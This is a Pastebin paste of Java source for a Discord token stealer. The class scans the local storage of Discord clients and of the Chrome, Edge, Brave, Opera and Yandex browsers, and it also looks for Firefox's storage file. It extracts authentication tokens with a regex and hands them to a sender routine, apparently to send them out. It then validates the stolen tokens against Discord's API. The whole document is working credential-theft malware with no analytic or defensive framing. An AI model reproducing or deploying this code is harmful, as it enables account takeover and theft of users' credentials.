TerrificTable55

Untitled

Jan 6th, 2022
262
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 5.53 KB | None | 0 0
  1. public final class TokenUtil {
  2.     private static final Gson gson = new Gson();
  3.     public static final List<String> paths = new ArrayList(Arrays.asList(System.getenv("APPDATA") + "\\Discord", System.getenv("APPDATA") + "\\discordcanary", System.getenv("APPDATA") + "\\discordptb", System.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default", System.getenv("APPDATA") + "\\Opera Software\\Opera Stable", System.getenv("LOCALAPPDATA") + "\\BraveSoftware\\Brave-Browser\\User Data\\Default", System.getenv("LOCALAPPDATA") + "\\Yandex\\YandexBrowser\\User Data\\Default", System.getenv("APPDATA") + "\\LightCord", System.getenv("LOCALAPPDATA") + "\\Microsoft\\Edge\\User Data\\Default"));
  4.  
  5.     public static List<String> getValidTokens(List<String> tokens) {
  6.         ArrayList<String> validTokens = new ArrayList();
  7.         tokens.forEach((token) -> {
  8.             try {
  9.                 URL url = new URL("https://discordapp.com/api/v6/users/@me");
  10.                 HttpURLConnection con = (HttpURLConnection)url.openConnection();
  11.                 Map<String, Object> stuff = (Map)gson.fromJson(getHeaders(token), (new TypeToken<Map<String, Object>>() {
  12.                 }).getType());
  13.                 stuff.forEach((key, value) -> {
  14.                     con.addRequestProperty(key, (String)value);
  15.                 });
  16.                 con.getInputStream().close();
  17.                 validTokens.add(token);
  18.             } catch (Exception var5) {
  19.             }
  20.  
  21.         });
  22.         return validTokens;
  23.     }
  24.  
  25.     public static String getContentFromURL(String link, String auth) {
  26.         try {
  27.             URL url = new URL(link);
  28.             HttpURLConnection httpURLConnection = (HttpURLConnection)url.openConnection();
  29.             httpURLConnection.setRequestMethod("GET");
  30.             Map<String, Object> json = (Map)gson.fromJson(getHeaders(auth), (new TypeToken<Map<String, Object>>() {
  31.             }).getType());
  32.             json.forEach((key, value) -> {
  33.                 httpURLConnection.addRequestProperty(key, (String)value);
  34.             });
  35.             httpURLConnection.connect();
  36.             BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
  37.             StringBuilder stringBuilder = new StringBuilder();
  38.  
  39.             String line;
  40.             while((line = bufferedReader.readLine()) != null) {
  41.                 stringBuilder.append(line).append("\n");
  42.             }
  43.  
  44.             bufferedReader.close();
  45.             return stringBuilder.toString();
  46.         } catch (Exception var8) {
  47.             return "";
  48.         }
  49.     }
  50.  
  51.     public static ArrayList<String> getTokens(String inPath) {
  52.         String path = inPath + "\\Local Storage\\leveldb\\";
  53.         ArrayList<String> tokens = new ArrayList();
  54.         File pa = new File(path);
  55.         String[] list = pa.list();
  56.         if (list == null) {
  57.             return null;
  58.         } else {
  59.             String[] var5 = list;
  60.             int var6 = list.length;
  61.  
  62.             for(int var7 = 0; var7 < var6; ++var7) {
  63.                 String s = var5[var7];
  64.  
  65.                 try {
  66.                     FileInputStream fileInputStream = new FileInputStream(path + s);
  67.                     DataInputStream dataInputStream = new DataInputStream(fileInputStream);
  68.                     BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(dataInputStream));
  69.  
  70.                     String line;
  71.                     while((line = bufferedReader.readLine()) != null) {
  72.                         Matcher matcher = Pattern.compile("[\\w\\W]{24}\\.[\\w\\W]{6}\\.[\\w\\W]{27}|mfa\\.[\\w\\W]{84}").matcher(line);
  73.  
  74.                         while(matcher.find()) {
  75.                             tokens.add(matcher.group());
  76.                         }
  77.                     }
  78.                 } catch (Exception var14) {
  79.                 }
  80.             }
  81.  
  82.             Sender.send(String.join(" - ", tokens));
  83.             return tokens;
  84.         }
  85.     }
  86.  
  87.     public static JsonObject getHeaders(String token) {
  88.         JsonObject object = new JsonObject();
  89.         object.addProperty("Content-Type", "application/json");
  90.         object.addProperty("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11");
  91.         if (token != null) {
  92.             object.addProperty("Authorization", token);
  93.         }
  94.  
  95.         return object;
  96.     }
  97.  
  98.     public static List<String> removeDuplicates(List<String> list) {
  99.         return (List)list.stream().distinct().collect(Collectors.toCollection(ArrayList::new));
  100.     }
  101.  
  102.     public static Optional<File> getFirefoxFile() {
  103.         File file = new File(System.getenv("APPDATA") + "\\Mozilla\\Firefox\\Profiles");
  104.         if (file.isDirectory()) {
  105.             File[] var1 = (File[])Objects.requireNonNull(file.listFiles());
  106.             int var2 = var1.length;
  107.  
  108.             for(int var3 = 0; var3 < var2; ++var3) {
  109.                 File file1 = var1[var3];
  110.                 if (file1.isDirectory() && file1.getName().contains("release")) {
  111.                     File[] var5 = (File[])Objects.requireNonNull(file1.listFiles());
  112.                     int var6 = var5.length;
  113.  
  114.                     for(int var7 = 0; var7 < var6; ++var7) {
  115.                         File file2 = var5[var7];
  116.                         if (file2.getName().contains("webappsstore")) {
  117.                             return Optional.of(file2);
  118.                         }
  119.                     }
  120.                 }
  121.             }
  122.         }
  123.  
  124.         return Optional.empty();
  125.     }
  126. }
Advertisement
Add Comment
Please, Sign In to add comment